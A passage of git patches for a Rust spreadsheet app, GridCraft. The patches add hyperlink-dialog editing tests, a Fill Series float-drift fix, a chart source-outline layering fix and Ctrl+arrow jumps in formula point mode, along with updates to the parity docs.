h, "ui.dialog", json!({"name": "insertLink"})); + h.run_steps(3); + let dialog = h.state().dialog.as_ref().unwrap(); + assert_eq!(dialog.values["target"], target); + assert_eq!(dialog.values["text"], "Original label"); + assert_eq!(dialog.values["tooltip"], "Original tip"); + assert!(h.query_by_label("Display:").is_some()); + assert!(h.query_by_label("ScreenTip:").is_some()); + } +} + +/// The keyboard entry point shares the prefilled form rather than resetting the address. +#[test] +fn ctrl_k_opens_the_existing_link_for_editing() { + let mut h = linked_harness("Original label", "https://example.org/original"); + h.key_press_modifiers(egui::Modifiers::COMMAND, egui::Key::K); + h.run_steps(3); + let dialog = h.state().dialog.as_ref().unwrap(); + assert_eq!(dialog.name, "insertLink"); + assert_eq!(dialog.values["target"], "https://example.org/original"); +} + +/// Both the OK button and automation confirmation update one link and undo in one step. +#[test] +fn editing_a_link_confirms_and_undo_restores_it() { + for button in [false, true] { + let mut h = linked_harness("Original label", "https://example.org/original"); + let before = linked_cell(&h); + control(&mut h, "ui.dialog", json!({"name": "insertLink"})); + control(&mut h, "ui.dialog.set", json!({"field": "target", "value": "Sheet1!F9"})); + control(&mut h, "ui.dialog.set", json!({"field": "text", "value": "Updated label"})); + control(&mut h, "ui.dialog.set", json!({"field": "tooltip", "value": "Updated tip"})); + if button { + h.run_steps(4); + h.get_by_label(" OK ").click(); + h.run_steps(4); + } else { + control(&mut h, "ui.dialog.confirm", json!({})); + } + assert!(h.state().dialog.is_none()); + let (cell, link) = linked_cell(&h); + assert_eq!(cell.value.display(), "Updated label"); + assert_eq!(link.target, "Sheet1!F9"); + assert_eq!(link.tooltip.as_deref(), Some("Updated tip")); + assert!(!link.external); + h.state_mut().run("edit.undo", json!({})).unwrap(); + assert_eq!(linked_cell(&h), before); + } +} + +/// Closing a partially edited form leaves the existing link and cell untouched. +#[test] +fn cancelling_link_edits_keeps_the_original_cell_and_link() { + let mut h = linked_harness("Original label", "Sheet1!F9"); + let before = linked_cell(&h); + control(&mut h, "ui.dialog", json!({"name": "insertLink"})); + control(&mut h, "ui.dialog.set", json!({"field": "target", "value": "https://example.org/changed"})); + control(&mut h, "ui.dialog.set", json!({"field": "text", "value": "Changed label"})); + control(&mut h, "ui.dialog.set", json!({"field": "tooltip", "value": "Changed tip"})); + control(&mut h, "ui.dialog.cancel", json!({})); + assert!(h.state().dialog.is_none()); + assert_eq!(linked_cell(&h), before); +} + +/// Rendered forms keep linked numbers, formulas and number formats when their display text is unchanged. +#[test] +fn unchanged_display_text_preserves_number_and_formula_cells() { + for (input, format, expected) in [("42", "General", "42"), ("=6*7", "General", "42"), ("42", "0.00", "42.00"), ("=6*7", "0.00", "42.00")] { + let mut h = linked_harness(input, "https://example.org/original"); + h.state_mut().run("home.numberFormat", json!({"code": format})).unwrap(); + let (before, _) = linked_cell(&h); + let doc = h.state().session.active().unwrap(); + let display = gridcraft_engine::display::cell_text(&doc.wb, doc.wb.active().unwrap(), CellRef::parse("B2").unwrap()); + assert_eq!(display, expected, "formatted input {input}"); + control(&mut h, "ui.dialog", json!({"name": "insertLink"})); + h.run_steps(3); + assert_eq!(h.state().dialog.as_ref().unwrap().values["text"], display); + control(&mut h, "ui.dialog.set", json!({"field": "target", "value": "https://example.org/updated"})); + h.run_steps(3); + control(&mut h, "ui.dialog.confirm", json!({})); + let (after, link) = linked_cell(&h); + assert_eq!(after, before, "input {input}"); + assert_eq!(link.target, "https://example.org/updated"); + assert_eq!(link.tooltip.as_deref(), Some("Original tip")); + control(&mut h, "ui.dialog", json!({"name": "insertLink"})); + h.run_steps(3); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_none()); + assert_eq!(linked_cell(&h).0, before, "unedited OK for {input}"); + } +} + +/// A missing ScreenTip stays absent when only the address changes or OK is pressed unchanged. +#[test] +fn editing_a_link_without_a_tooltip_keeps_it_absent() { + let mut h = linked_harness("Original label", "https://example.org/original"); + h.state_mut().run("insert.link", json!({"target": "https://example.org/original"})).unwrap(); + assert_eq!(linked_cell(&h).1.tooltip, None); + control(&mut h, "ui.dialog", json!({"name": "insertLink"})); + h.run_steps(3); + let dialog = h.state().dialog.as_ref().unwrap(); + assert_eq!(dialog.values.get("tooltip").and_then(Json::as_str).unwrap_or_default(), ""); + control(&mut h, "ui.dialog.set", json!({"field": "target", "value": "https://example.org/updated"})); + h.run_steps(3); + control(&mut h, "ui.dialog.confirm", json!({})); + let (cell, link) = linked_cell(&h); + assert_eq!(cell.value.display(), "Original label"); + assert_eq!(link.target, "https://example.org/updated"); + assert_eq!(link.tooltip, None); + control(&mut h, "ui.dialog", json!({"name": "insertLink"})); + h.run_steps(3); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_none()); + assert_eq!(linked_cell(&h).1.tooltip, None); +} + +/// A new link still begins with the web-address default and uses its target as a blank cell's label. +#[test] +fn new_links_keep_the_existing_defaults() { + let mut h = crate::support::blank_harness(4); + control(&mut h, "ui.dialog", json!({"name": "insertLink"})); + h.run_steps(3); + let dialog = h.state().dialog.as_ref().unwrap(); + assert_eq!(dialog.values["target"], "https://"); + assert_eq!(dialog.values.get("text").and_then(Json::as_str).unwrap_or_default(), ""); + assert_eq!(dialog.values.get("tooltip").and_then(Json::as_str).unwrap_or_default(), ""); + control(&mut h, "ui.dialog.set", json!({"field": "target", "value": "https://example.org/new"})); + h.run_steps(3); + control(&mut h, "ui.dialog.confirm", json!({})); + let sheet = h.state().session.active().unwrap().wb.active().unwrap(); + let at = CellRef::parse("A1").unwrap(); + assert_eq!(sheet.value(at).display(), "https://example.org/new"); + assert_eq!(sheet.hyperlinks[&at].target, "https://example.org/new"); +} diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index ad5f7aa19..f55dcee70 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -51,6 +51,7 @@ mod header_autofit; mod header_column_drag; mod host_chrome; mod hyperlink_ctrl_click; +mod hyperlink_dialog; mod in_cell_editor_size; mod in_cell_editor_wrap; mod insert_copied_cells; diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 2329a2720..3a0b08ace 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-25 · **Change:** minor (AutoSum over a selected row puts its total to the right; earlier: macro interface on the Automate tab; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-29 · **Change:** minor (editing a hyperlink loads its existing fields) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -152,6 +152,10 @@ a character (e.g. Ctrl+Alt+A for `ä`) never trigger a shortcut, Ctrl+letter one ## Dialogs +Insert Hyperlink loads an existing cell link's address, display text and ScreenTip for editing +(#2876). Keeping the display text unchanged preserves the cell's number or formula; Cancel +keeps the original link and an edit can be undone in one step. + Format Cells, Insert Function/Formula Builder, Find and Replace, Go To and Go To Special, Sort, Name Manager, Data Validation, Paste Special, Conditional Formatting manager, Page Setup, Goal Seek, Scenario Manager, Data Analysis, Forecast Sheet, Macros (macros, Automate scripts and a @@ -190,6 +194,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-10-29 | minor | Insert Hyperlink opens with an existing link's address, display text and ScreenTip (#2876). An address-only edit preserves the cell's content and formula; Cancel leaves the link unchanged, and Undo restores the edit | | 2026-10-25 | minor | AutoSum (Alt+=, Home › AutoSum) over a selected row puts its total to the right of the row, or in its last cell when that is empty, as in Excel; it wrote a one-cell total under each cell. A selection's empty last column takes each row's total and its empty last row each column's, with the block's total in the corner when both are empty | | 2026-10-25 | minor | Paste Name lays out only the names in view, so a workbook with thousands of names opens it at once; the arrow keys still scroll the chosen name into view. Go To matches a `Sheet2!Name` reference and hides a workbook name behind the active sheet's own name in any case and script (`Größe` = `GRÖSSE`), as formulas do. The two Page Layout view rows are one; the 0.7 in side margin used when Align with Page Margins is off is marked unverified | | 2026-10-24 | minor | Macro step editor: step list with breakpoints, drag to reorder and a command picker, an inspector with reference boxes, a debug bar and grid overlays | From b004335538ec17e4df2a89b6411bd0d15f73ae48 Mon Sep 17 00:00:00 2001 From: NetterSilver <133535268+Silvertree2010@users.noreply.github.com> Date: Thu, 29 Oct 2026 12:33:30 +0000 Subject: [PATCH 056/298] Keep Fill Series value equal to stop despite float drift Found while testing crates/engine/src/fill.rs:595-599 Co-Authored-By: Claude Haiku 5.5 Co-Authored-By: Claude Sonnet 5.5 --- crates/engine/src/fill.rs | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/crates/engine/src/fill.rs b/crates/engine/src/fill.rs index c4354ec7c..1201721da 100644 --- a/crates/engine/src/fill.rs +++ b/crates/engine/src/fill.rs @@ -593,7 +593,7 @@ pub fn series(cx: &mut Ctx, sheet: usize, options: SeriesOptions<'_>) -> Result< }; // The stop value bounds the series in the direction it runs (a growth by 0.5 falls). if let Some(s) = stop - && ((v >= prev && v > s) || (v < prev && v < s)) + && ((v >= prev && round15(v) > s) || (v < prev && round15(v) < s)) { break; } @@ -806,6 +806,21 @@ mod tests { assert_eq!(sh.value(CellRef::new(1, 1)), Value::from("03/12/2023")); } + #[test] + fn series_keeps_value_equal_to_stop_after_float_drift() { + let mut s = crate::Session::new(); + s.new_workbook(); + s.execute("cell.set", serde_json::json!({"cell": "A1", "input": "1"})).unwrap(); + s.execute("edit.fillSeries", serde_json::json!({"range": "A1:A6", "type": "linear", "step": 0.1, "stop": 1.3})).unwrap(); + s.execute("cell.set", serde_json::json!({"cell": "B1", "input": "0.1"})).unwrap(); + s.execute("edit.fillSeries", serde_json::json!({"range": "B1:B4", "type": "growth", "step": 3, "stop": 0.3})).unwrap(); + let sh = s.doc().unwrap().wb.active().unwrap(); + let col = |c: u32, n: u32| (0..n).map(|r| sh.value(CellRef::new(r, c))).collect::>(); + let n = Value::number; + assert_eq!(col(0, 6), vec![n(1.0), n(1.1), n(1.2), n(1.3), Value::Empty, Value::Empty]); + assert_eq!(col(1, 4), vec![n(0.1), n(0.3), Value::Empty, Value::Empty]); + } + #[test] fn flash_programs() { let p = learn(&[("John Smith".into(), "Smith, John".into())]).unwrap(); From 9c6de8abde93e86b22da57994046afb9fdbc3005 Mon Sep 17 00:00:00 2001 From: fream <121830007+Plutonium-fream@users.noreply.github.com> Date: Thu, 29 Oct 2026 16:49:42 +0100 Subject: [PATCH 057/298] fix(ui): keep chart source outlines below objects (#2861) --- contributors/people.toml | 3 + crates/ui-egui/src/chartview.rs | 33 ++-- .../ui-egui/tests/it/chart_source_layering.rs | 157 ++++++++++++++++++ crates/ui-egui/tests/it/main.rs | 1 + docs/chart-parity.md | 4 +- 5 files changed, 181 insertions(+), 17 deletions(-) create mode 100644 crates/ui-egui/tests/it/chart_source_layering.rs diff --git a/contributors/people.toml b/contributors/people.toml index 5ce80fe59..f79ecec4c 100644 --- a/contributors/people.toml +++ b/contributors/people.toml @@ -103,3 +103,6 @@ real_name = "Helen Kwok" [people.dotCooCoo] real_name = "Robert Lee" sync_github_name = true + +[people.Plutonium-fream] +sync_github_name = true diff --git a/crates/ui-egui/src/chartview.rs b/crates/ui-egui/src/chartview.rs index fb3dbd8dd..8adab4918 100644 --- a/crates/ui-egui/src/chartview.rs +++ b/crates/ui-egui/src/chartview.rs @@ -264,6 +264,23 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo if objects_hidden(wb) { return painted; } + // Source outlines stay in cell space beneath every floating object. + if let Some(ch) = sh.charts.iter().find(|ch| app.selected_chart == Some(ch.id)) + && anchor_rect(geo, sh, &ch.anchor).intersects(p.clip_rect()) + { + for s in &ch.series { + if let Ok(gridcraft_engine::formula::Expr::Ref(rf)) = gridcraft_engine::formula::parse(&s.values) + && rf.sheet_name().is_none_or(|n| n.eq_ignore_ascii_case(&sh.name)) + { + let rr = geo.range_rect(sh, rf.range()); + let color = Tokens::get(p.ctx()).ref_color(0, true); + for pane in geo.range_panes(rf.range()) { + let pp = p.with_clip_rect(pane.intersect(p.clip_rect())); + pp.rect_stroke(rr, 0.0, Stroke::new(1.5, color), StrokeKind::Inside); + } + } + } + } let mut done = |start: egui::layers::ShapeIdx, rect: Rect| painted.push(PaintedObject { shapes: start.0..p.add(egui::Shape::Noop).0, rect }); // The grid paints the active workbook: its pictures are cached under it. let doc = app.session.active().map_or(0, |d| d.uid); @@ -365,23 +382,7 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo if app.selected_chart == Some(ch.id) { selection_frame(p, r); } - // The source-data highlight below is in cell space: mirrored with the cells. done(start, r); - if app.selected_chart == Some(ch.id) { - // Highlight the source data like Excel does. - for s in &ch.series { - if let Ok(gridcraft_engine::formula::Expr::Ref(rf)) = gridcraft_engine::formula::parse(&s.values) - && rf.sheet_name().is_none_or(|n| n.eq_ignore_ascii_case(&sh.name)) - { - let rr = geo.range_rect(sh, rf.range()); - let color = Tokens::get(p.ctx()).ref_color(0, true); - for pane in geo.range_panes(rf.range()) { - let pp = p.with_clip_rect(pane.intersect(p.clip_rect())); - pp.rect_stroke(rr, 0.0, Stroke::new(1.5, color), StrokeKind::Inside); - } - } - } - } } paint_slicers(app, p, geo, wb, si, sh); painted diff --git a/crates/ui-egui/tests/it/chart_source_layering.rs b/crates/ui-egui/tests/it/chart_source_layering.rs new file mode 100644 index 000000000..5c4b52f75 --- /dev/null +++ b/crates/ui-egui/tests/it/chart_source_layering.rs @@ -0,0 +1,157 @@ +//! #2861: a selected chart's source outline belongs behind floating objects, in cell space. + +use egui::{Color32, Rect, Shape, pos2, vec2}; +use gridcraft_engine::core::RangeRef; +use gridcraft_engine::model::Anchor; +use gridcraft_ui_egui::{SheetApp, theme::Tokens}; +use serde_json::json; + +type Harness = egui_kittest::Harness<'static, SheetApp>; + +const SOURCE: &str = "B2:B12"; +const SHAPE_FILL: Color32 = Color32::from_rgb(0x12, 0x34, 0x56); +const CELL_FILL: Color32 = Color32::from_rgb(0xEF, 0xDC, 0xBA); + +/// The source range crosses a shape and its selected chart, while its top remains uncovered. +fn fixture(rtl: bool, frozen: bool) -> (Harness, u32) { + let mut session = crate::support::blank_session(); + let values: Vec<_> = (1..=11).map(|value| json!([value])).collect(); + session.execute("range.setValues", json!({"range": "B2", "values": values})).unwrap(); + session.execute("home.fillColor", json!({"range": SOURCE, "color": "#EFDCBA"})).unwrap(); + session.execute("selection.set", json!({"range": SOURCE})).unwrap(); + let chart = session.execute("insert.chart", json!({"type": "column", "at": "B7", "width": 260, "height": 130})).unwrap(); + let id = chart["chart"].as_u64().unwrap() as u32; + session.execute("insert.shape", json!({"kind": "rectangle", "at": "B4", "width": 160, "height": 35, "fill": "123456"})).unwrap(); + session.execute("selection.set", json!({"cell": "A1"})).unwrap(); + session.execute("view.rightToLeft", json!({"on": rtl})).unwrap(); + if frozen { + session.execute("view.freezePanes", json!({"cell": "A2"})).unwrap(); + } + let mut h = crate::support::harness(session, 4); + h.state_mut().selected_chart = Some(id); + if frozen { + h.state_mut().view_mut().unwrap().scroll.y = 20.0; + } + h.run_steps(3); + (h, id) +} + +/// The exact on-screen source rectangle and its pane clips, including RTL and frozen rows. +fn source_geometry(h: &Harness) -> (Rect, Vec) { + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = app.grid.geo.as_ref().unwrap(); + let range = RangeRef::parse(SOURCE).unwrap(); + let rect = geo.mirror_rect(geo.range_rect(sheet, range)); + let clips = geo.range_panes(range).into_iter().map(|pane| geo.mirror_rect(pane.intersect(geo.cells))).collect(); + (rect, clips) +} + +/// Allows only floating-point rounding when RTL translation and reflection reach the same bounds. +fn same_rect(a: Rect, b: Rect) -> bool { + a.min.distance(b.min) < 0.01 && a.max.distance(b.max) < 0.01 +} + +/// The last frame's actual source-outline paint commands, with their order and visible clip. +fn source_strokes(h: &Harness) -> Vec<(usize, Rect)> { + let (source, _) = source_geometry(h); + let color = Tokens::get(&h.ctx).ref_color(0, true); + h.output() + .shapes + .iter() + .enumerate() + .filter_map(|(index, shape)| match &shape.shape { + Shape::Rect(rect) if same_rect(rect.rect, source) && rect.stroke.color == color && rect.stroke.width == 1.5 => { + Some((index, shape.clip_rect)) + } + _ => None, + }) + .collect() +} + +/// Floating objects move as a whole on RTL sheets, so their on-screen bounds remain unflipped. +fn object_rect(h: &Harness, anchor: &Anchor) -> Rect { + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = app.grid.geo.as_ref().unwrap(); + geo.mirror_rect(Rect::from_min_size( + pos2(geo.x(sheet, anchor.cell.col) + anchor.dx * geo.z, geo.y(sheet, anchor.cell.row) + anchor.dy * geo.z), + vec2(anchor.width * geo.z, anchor.height * geo.z), + )) +} + +/// Finds an opaque object fill in final paint order, rather than relying on implementation calls. +fn fill_index(h: &Harness, bounds: Rect, color: Color32) -> usize { + h.output() + .shapes + .iter() + .position(|shape| matches!(&shape.shape, Shape::Rect(rect) if same_rect(rect.rect, bounds) && rect.fill == color)) + .expect("the overlapping floating object's fill was painted") +} + +/// Opaque objects must cover the overlapping source stroke while the uncovered stroke stays visible. +#[test] +fn chart_source_outlines_stay_below_every_overlapping_object() { + for rtl in [false, true] { + for frozen in [false, true] { + let (h, id) = fixture(rtl, frozen); + let sheet = h.state().session.active().unwrap().wb.active().unwrap(); + let chart = sheet.charts.iter().find(|chart| chart.id == id).unwrap(); + let chart_bounds = object_rect(&h, &chart.anchor); + let shape_bounds = object_rect(&h, &sheet.shapes[0].anchor); + let chart_fill = fill_index(&h, chart_bounds, Tokens::get(&h.ctx).grid_bg); + let shape_fill = fill_index(&h, shape_bounds, SHAPE_FILL); + let (source, expected_clips) = source_geometry(&h); + let strokes = source_strokes(&h); + assert_eq!(strokes.len(), expected_clips.len(), "source remains painted: rtl={rtl}, frozen={frozen}"); + for ((_, clip), expected) in strokes.iter().zip(expected_clips) { + assert_eq!(*clip, expected, "source clips stay in cell space"); + } + let visible_top = source.top().max(strokes[0].1.top()); + let x = if rtl { source.left() + 0.75 } else { source.right() - 0.75 }; + let uncovered = pos2(x, visible_top + 4.0); + assert!(source.contains(uncovered) && strokes[0].1.contains(uncovered)); + assert!(!chart_bounds.contains(uncovered) && !shape_bounds.contains(uncovered), "uncovered source outline remains visible"); + let background = h + .output() + .shapes + .iter() + .enumerate() + .find_map(|(index, shape)| match &shape.shape { + Shape::Rect(rect) if rect.fill == CELL_FILL && rect.rect.contains(uncovered) && shape.clip_rect.contains(uncovered) => { + Some(index) + } + _ => None, + }) + .expect("the uncovered source cell has an opaque fill"); + assert!(strokes[0].0 > background, "source outline remains above cell backgrounds"); + for (name, bounds, fill) in [("chart", chart_bounds, chart_fill), ("shape", shape_bounds, shape_fill)] { + let covered = pos2(x, bounds.center().y); + assert!(source.contains(covered) && bounds.contains(covered), "fixture overlaps the {name}'s source stroke"); + for (stroke, _) in &strokes { + assert!(*stroke < fill, "source outline paints over {name}: rtl={rtl}, frozen={frozen}, stroke={stroke}, fill={fill}"); + } + } + } + } +} + +/// Moving the source pass must preserve deselection, hidden-object and offscreen-chart behavior. +#[test] +fn unselected_hidden_and_offscreen_charts_do_not_highlight_sources() { + for state in ["unselected", "hidden", "offscreen"] { + let (mut h, id) = fixture(false, false); + assert!(!source_strokes(&h).is_empty(), "selected visible chart highlights its source"); + match state { + "unselected" => h.state_mut().selected_chart = None, + "hidden" => { + h.state_mut().run("view.showObjects", json!({"on": false})).unwrap(); + } + _ => { + h.state_mut().run("object.move", json!({"kind": "chart", "id": id, "at": "B100"})).unwrap(); + } + } + h.run_steps(3); + assert!(source_strokes(&h).is_empty(), "{state} chart must not highlight its source"); + } +} diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index ad5f7aa19..cb01f0c4a 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -15,6 +15,7 @@ mod cell_editor_caret; mod cell_pictures; mod cf_rule_pick; mod chart_resize; +mod chart_source_layering; mod clipboard; mod comments_pane; mod commit_after_pointing; diff --git a/docs/chart-parity.md b/docs/chart-parity.md index f18283f45..89358dd30 100644 --- a/docs/chart-parity.md +++ b/docs/chart-parity.md @@ -1,6 +1,6 @@ # Chart parity -> **Last reviewed:** 2026-10-18 · **Last updated:** 2026-10-24 · **Change:** minor (100% stacked area charts) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-18 · **Last updated:** 2026-10-29 · **Change:** minor (selected chart source outlines stay beneath floating objects) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's chart types and chart elements against GridCraft. Part of [target-app-parity.md](target-app-parity.md). **Breadth ~50%, ready ~30%, 40–60 h** (estimated). @@ -38,6 +38,7 @@ Sources: `crates/model/src/features.rs` (`ChartKind`, `Chart`, `Series`), `crate | Element | Excel | GridCraft | |---|---|---| | Move and resize the chart object | yes | yes (corner handle, Format Chart Area Size fields) | +| Selected chart source-data outline | visible on uncovered cells, beneath floating objects | painted above cells and below charts, shapes, pictures and slicers; retains pane clipping and right-to-left cell geometry (#2861) | | Chart title, axis titles | text, linked to cells, full formatting | text only | | Legend | position, overlay, formatting, per-entry delete | position only | | Data labels | value, category, series, percentage, from cells, callouts, position | one on/off flag | @@ -90,6 +91,7 @@ are (#1686). Such series get no `numCache`/`strCache` on save (#1690). | Date | Change | Summary | |---|---|---| +| 2026-10-29 | minor | Selected charts highlight their source cells beneath floating objects, so the blue outline no longer crosses the chart; uncovered source cells remain highlighted (#2861) | | 2026-10-24 | minor | 100% Stacked Area: inserted from the ribbon and All Charts, drawn as shares of each category's total, read and written as `percentStacked` | | 2026-10-18 | trivial | Stale notes: stock/combo, treemap/sunburst, box and waterfall kinds survive XLSX round-trip (PRs #158, #161) | | 2026-10-16 | trivial | Series that refer to defined names (`[0]!Name`, `Sheet!Name`) resolve instead of showing `#NAME?`, and are saved qualified, as Excel needs (#1686) | From 57e40d2d14ea1a4d3928cc1404db1a893efae932 Mon Sep 17 00:00:00 2001 From: Kameron Date: Thu, 29 Oct 2026 15:11:55 -0700 Subject: [PATCH 058/298] Formula pointing: Ctrl+arrow and Ctrl+Shift+arrow jump to the edge of the data MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit While a formula reference is being pointed from the keyboard, Ctrl+arrow (⌘arrow on a Mac) moved the pointed cell by one, and Ctrl+Shift+arrow extended the pointed range by one cell, so `=COUNTIF(`, a click on the top of a column and ⌘⇧↓ pointed at two cells instead of the column of data. Both now go to the edge of the data region, as the same keys do on the selection outside an edit: `point_move` takes `jump` and uses the engine's `selection::jump`, which Ctrl+arrow on the grid already uses, so the two agree (last filled cell of a run, else the next filled cell, else the sheet edge). A pointed range that reaches the sheet edge is written as whole columns or rows (`A:B`), as Excel writes it. The editor used to read Shift from `i.modifiers`, the modifier state when the frame's input was collected; an arrow pressed and released within one frame (a control client's `ui.key`, an automation tool's keystroke) had already lost it. It now reads the modifiers carried by the arrow's own key event, as the grid's keyboard handler does. Test: ctrl_arrows_in_point_mode_jump_to_the_edge_of_the_data (down to the last filled cell, right across the data, down to the sheet edge, Ctrl+Up without Shift to the next filled cell, then a plain arrow). Co-Authored-By: Claude Fable 5.1 --- crates/ui-egui/src/formula_bar.rs | 29 +++++++++++++++++++++----- crates/ui-egui/src/grid/interact.rs | 8 ++++--- crates/ui-egui/tests/it/interaction.rs | 27 ++++++++++++++++++++++++ docs/ui-parity.md | 3 ++- 4 files changed, 58 insertions(+), 9 deletions(-) diff --git a/crates/ui-egui/src/formula_bar.rs b/crates/ui-egui/src/formula_bar.rs index 574f766de..3db0c3da4 100644 --- a/crates/ui-egui/src/formula_bar.rs +++ b/crates/ui-egui/src/formula_bar.rs @@ -518,9 +518,23 @@ fn editor_arrow_keys( ed: &mut crate::editor::EditState, mut action: Option, ) -> (Option, bool) { - let (up, down, left, right, shift) = ui.input(|i| { - (i.key_pressed(Key::ArrowUp), i.key_pressed(Key::ArrowDown), i.key_pressed(Key::ArrowLeft), i.key_pressed(Key::ArrowRight), i.modifiers.shift) + // The modifiers come with the key event: an arrow pressed and released within one frame (a + // control client's or an automation tool's keystroke) has already lost them from `i.modifiers`. + let arrow = ui.input(|i| { + i.events.iter().find_map(|e| match e { + egui::Event::Key { key: key @ (Key::ArrowUp | Key::ArrowDown | Key::ArrowLeft | Key::ArrowRight), pressed: true, modifiers, .. } => { + Some((*key, *modifiers)) + } + _ => None, + }) }); + let (up, down, left, right) = ( + arrow.is_some_and(|(k, _)| k == Key::ArrowUp), + arrow.is_some_and(|(k, _)| k == Key::ArrowDown), + arrow.is_some_and(|(k, _)| k == Key::ArrowLeft), + arrow.is_some_and(|(k, _)| k == Key::ArrowRight), + ); + let (shift, jump) = arrow.map_or((false, false), |(_, m)| (m.shift, m.command)); if (up || down) && !ed.autocomplete.is_empty() { ui.input_mut(|i| { i.consume_key(egui::Modifiers::NONE, Key::ArrowUp); @@ -545,13 +559,18 @@ fn editor_arrow_keys( let rtl = app.session.active().and_then(|d| d.wb.active()).is_some_and(|s| s.right_to_left); let dc = if rtl { -dc } else { dc }; if ed.can_point() { + // Ctrl+arrow (⌘arrow) jumps the pointed cell to the edge of its data, Ctrl+Shift+arrow + // extends the pointed range there, as the same keys do on the selection. ui.input_mut(|i| { for key in [Key::ArrowUp, Key::ArrowDown, Key::ArrowLeft, Key::ArrowRight] { - i.consume_key(egui::Modifiers::NONE, key); - i.consume_key(egui::Modifiers::SHIFT, key); + for modifiers in + [egui::Modifiers::NONE, egui::Modifiers::SHIFT, egui::Modifiers::COMMAND, egui::Modifiers::COMMAND | egui::Modifiers::SHIFT] + { + i.consume_key(modifiers, key); + } } }); - crate::grid::point_move(app, ed, dr, dc, shift); + crate::grid::point_move(app, ed, dr, dc, shift, jump); (action, false) } else { action = Some((dr, dc, false, false)); diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index fdbf632a5..4ffeaeb83 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -1014,11 +1014,13 @@ pub fn follow_link(app: &mut SheetApp, target: &str) { } } -/// Used by `EditState` users to keep the active cell visible while pointing. -pub fn point_move(app: &mut SheetApp, ed: &mut EditState, dr: i64, dc: i64, extend: bool) { +/// Moves the pointed cell one step, or with `jump` (Ctrl+arrow) to the edge of its data region; +/// `extend` (Shift) moves the far end of the pointed range instead. Keeps the pointed cell visible. +pub fn point_move(app: &mut SheetApp, ed: &mut EditState, dr: i64, dc: i64, extend: bool, jump: bool) { let Some(d) = app.session.active() else { return }; + let Some(sheet) = d.wb.active() else { return }; let from = ed.point_cell.unwrap_or(ed.cell); - let to = from.offset_clamped(dr, dc); + let to = if jump { gridcraft_engine::selection::jump(sheet, from, dr.signum(), dc.signum()) } else { from.offset_clamped(dr, dc) }; let anchor = if extend { // The anchor is the corner opposite the moving end: the written range is normalized, so // after extending up or left its first cell is the moving end, not the anchor. diff --git a/crates/ui-egui/tests/it/interaction.rs b/crates/ui-egui/tests/it/interaction.rs index e48a5cd32..39754591e 100644 --- a/crates/ui-egui/tests/it/interaction.rs +++ b/crates/ui-egui/tests/it/interaction.rs @@ -331,6 +331,33 @@ fn shift_arrows_in_point_mode_extend_from_the_pointed_cell() { assert_eq!(edited(&h).as_deref(), Some("=SUM(A8:A10"), "Shift+Down shrinks back towards the anchor"); } +#[test] +fn ctrl_arrows_in_point_mode_jump_to_the_edge_of_the_data() { + // Typing `=COUNTIF(`, clicking the top of a column and pressing Ctrl+Shift+Down (⌘⇧↓) points + // at the whole column of data, as the same keys select it outside an edit. + let mut s = blank(); + s.execute("range.setValues", json!({"range": "A1:B5", "values": [[1, 2], [3, 4], [5, 6], [7, 8], [9, 10]]})).unwrap(); + s.execute("selection.set", json!({"cell": "D1"})).unwrap(); + let mut h = harness(s); + text(&mut h, "=COUNTIF("); + click_cell(&mut h, "A1"); + let edited = |h: &egui_kittest::Harness<'static, SheetApp>| h.state().editor.as_ref().map(|e| e.text.clone()); + assert_eq!(edited(&h).as_deref(), Some("=COUNTIF(A1")); + h.input_mut().events.push(Event::ModifiersChanged(Modifiers::COMMAND | Modifiers::SHIFT)); + key(&mut h, Key::ArrowDown, Modifiers::COMMAND | Modifiers::SHIFT); + assert_eq!(edited(&h).as_deref(), Some("=COUNTIF(A1:A5"), "Ctrl+Shift+Down extends to the last filled cell"); + key(&mut h, Key::ArrowRight, Modifiers::COMMAND | Modifiers::SHIFT); + assert_eq!(edited(&h).as_deref(), Some("=COUNTIF(A1:B5"), "Ctrl+Shift+Right extends the moving end across the data"); + key(&mut h, Key::ArrowDown, Modifiers::COMMAND | Modifiers::SHIFT); + assert_eq!(edited(&h).as_deref(), Some("=COUNTIF(A:B"), "past the data, Ctrl+Shift+Down reaches the sheet edge (written as whole columns)"); + h.input_mut().events.push(Event::ModifiersChanged(Modifiers::COMMAND)); + key(&mut h, Key::ArrowUp, Modifiers::COMMAND); + assert_eq!(edited(&h).as_deref(), Some("=COUNTIF(B5"), "Ctrl+Up without Shift points at the next filled cell"); + h.input_mut().events.push(Event::ModifiersChanged(Modifiers::NONE)); + key(&mut h, Key::ArrowUp, 